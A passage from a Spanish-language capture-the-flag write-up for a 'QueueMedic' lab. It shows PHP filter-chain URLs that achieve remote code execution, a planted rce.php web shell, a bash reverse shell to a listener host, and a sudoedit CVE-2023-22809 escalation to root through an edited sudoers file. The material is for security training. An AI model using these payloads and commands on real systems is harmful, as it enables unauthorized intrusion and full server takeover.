.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';
```

**Resultado**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FOgUDkTLwNAJ5EYULyjPF%2Fimg_5_queuemedic.png?alt=media&amp;token=50ce8772-5d5e-4c14-9d74-e1f60419d7de" alt=""><figcaption></figcaption></figure>

La respuesta de la prueba indica que la cadena utilizada permite **ejecutar el comando previsto en el contexto del servidor**. Esta observación valida el comportamiento concreto del laboratorio; no implica que cualquier instancia de Clinic Queuing System tenga las mismas condiciones.

```python
http://172.17.0.2/?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));
```

**Resultado**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FZ44TfQVO7nBBYowYQFMu%2Fimg_6_queuemedic.png?alt=media&amp;token=6fa0b76d-9932-4fcb-8f0e-2a0bb65af155" alt=""><figcaption></figcaption></figure>

El siguiente paso del exploit consiste en generar el archivo PHP que permitirá enviar comandos mediante un parámetro HTTP:

```python
print("[+] Access at " + base_url + "/rce.php?0=whoami")
```

Una vez creado, utilizaremos la siguiente URL de prueba para verificar que el endpoint responde:

```python
http://172.17.0.2/rce.php?0=whoami
```

**Resultado**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FITL9OeBpcZZlflNCrHtO%2Fimg_7_queuemedic.png?alt=media&amp;token=3a2b27bb-3ee4-480d-8c51-5876fb428c26" alt=""><figcaption></figcaption></figure>

Con el archivo de prueba operativo tenemos una vía de **ejecución remota de comandos (RCE)** en el laboratorio. Para gestionar una posible sesión interactiva utilizaré **pwncat-cs**, iniciándolo como listener en el puerto indicado:

```python
pwncat-cs :1234
```

Antes de enviar una carga útil por URL, utilizaré mi función **`urlencode`** para codificar los caracteres especiales. Mantendré la sintaxis original en los comandos documentados.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FhS2vcfzTgTSoWvpSjLRA%2Fimg_8_queuemedic.png?alt=media&amp;token=89e8ff44-d2ae-446b-9dd1-6f6c7b4307a0" alt=""><figcaption></figcaption></figure>

La primera variante de la orden **Bash** no funcionó en mi prueba. La ejecutaré mediante **`/bin/bash -c`**, tal como aparece en el siguiente comando, para que el intérprete procese correctamente la redirección de entrada y salida usada por la reverse shell. Esta diferencia depende del modo de ejecución y del intérprete disponible.

```bash
urlencode "/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'"
```

**Resultado**

```python
[+] %2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F172.17.0.1%2F1234+0%3E%261%27
```

La URL final incorpora la cadena codificada, evitando que sus caracteres especiales interfieran con la estructura de la solicitud HTTP:

```python
http://172.17.0.2/rce.php?0=%2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F172.17.0.1%2F1234+0%3E%261%27
```

Con esa variante, la prueba logra establecer la conexión de retorno mostrada en la captura:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FrffcYLo1VHtgIlGwaWiT%2Fimg_9_queuemedic.png?alt=media&amp;token=735d7519-98e7-4aec-b853-6b449025f8a9" alt=""><figcaption></figcaption></figure>

Al interactuar con la sesión de **pwncat-cs**, utilizo **Ctrl + D** para entrar o salir de determinados modos según el contexto. Compruebo que el proceso se ejecuta como **`www-data`**. También aparece el usuario **`jessica`**, cuya contraseña recuperamos anteriormente; revisaré si esas credenciales se reutilizan en la autenticación local. Este comportamiento debe comprobarse y no asumirse solamente porque los nombres coincidan.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FE1l69NIqRJBWdwVlTtsx%2Fimg_10_queuemedic.png?alt=media&amp;token=708c207c-9d0f-46e8-bf80-39db53541491" alt=""><figcaption></figcaption></figure>

Al revisar la cuenta correspondiente, identificamos permisos para ejecutar **`sudoedit`** bajo condiciones definidas por la política **sudoers**. Podemos inspeccionarlos con el módulo de enumeración de **pwncat-cs** o mediante **`sudo -l`** cuando dispongamos de las credenciales y permisos adecuados:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FQct8KONleuyMkgGF31dK%2Fimg_11_queuemedic.png?alt=media&amp;token=a8fc0f22-30f6-4db9-a05e-f246f21e8438" alt=""><figcaption></figcaption></figure>

Para comprobar la versión de Sudo instalada y estudiar una posible vulnerabilidad conocida, ejecutaré:

```bash
sudoedit --version
```

**Resultado**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FXg3Nxlsa0jxTtHzjbBuW%2Fimg_12_queuemedic.png?alt=media&amp;token=c4b9aa37-b5c9-401d-ab51-8e00f98e1443" alt=""><figcaption></figcaption></figure>

La evidencia muestra **`Sudoers policy plugin version 1.9.9`**. Esta versión se encuentra en el intervalo de versiones afectadas por **CVE-2023-22809** en sus versiones originales, pero **el número mostrado no basta para confirmar vulnerabilidad si el paquete incluye parches retroportados**. En este CTF, además, la configuración de sudoers y el comportamiento observado permiten evaluar la explotación documentada. [CVE-2023-22809](https://tonyharris.io/posts/sudoedit/) describe una validación insuficiente de argumentos introducidos mediante las variables `EDITOR`, `VISUAL` o `SUDO_EDITOR`, que puede permitir editar archivos adicionales con los privilegios autorizados para `sudoedit`. Los pasos registrados son:

* Primero compruebo qué editor está disponible en el sistema, por ejemplo **`vi`**, **`vim`** o **`nano`**.
* Después configuro la variable **`EDITOR`** con el valor utilizado en la prueba del laboratorio. El riesgo aparece cuando **sudoedit interpreta argumentos adicionales del editor** sin la validación adecuada; no es simplemente que se permita escoger un editor.
* Ejecuto **`sudoedit`** con los permisos que concede la política **sudoers** a este usuario y verifico qué archivo abre realmente el editor.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FUKTa2fhabO0YlPYlZN2s%2Fimg_13_queuemedic.png?alt=media&amp;token=aff915b2-061a-41aa-a66a-b65a938519d4" alt=""><figcaption></figcaption></figure>

* En el laboratorio modifico la configuración de sudoers para conceder a **`jessica`** la regla **`jessica ALL=(ALL:ALL) ALL`**. El archivo de sudoers debe mantener una sintaxis válida: un error puede impedir el uso posterior de `sudo`. Este procedimiento solo corresponde a un entorno de práctica autorizado.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FqAebi4MtzccLblM6ntge%2Fimg_14_queuemedic.png?alt=media&amp;token=39f6dfdd-c4ca-466f-974e-a2333c281526" alt=""><figcaption></figcaption></figure>

* Tras guardar la configuración y validar los permisos, ejecuto **`sudo su`** como se muestra en la evidencia y compruebo que la sesión resultante tenga el **UID efectivo de root**. Con ello concluye la escalada de privilegios documentada en este CTF.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F2d3cMjIgF970ZSfbiGV2%2Fimg_15_queuemedic.png?alt=media&amp;token=85304a84-ca88-42ec-b73a-ceb951511699" alt=""><figcaption></figcaption></figure>
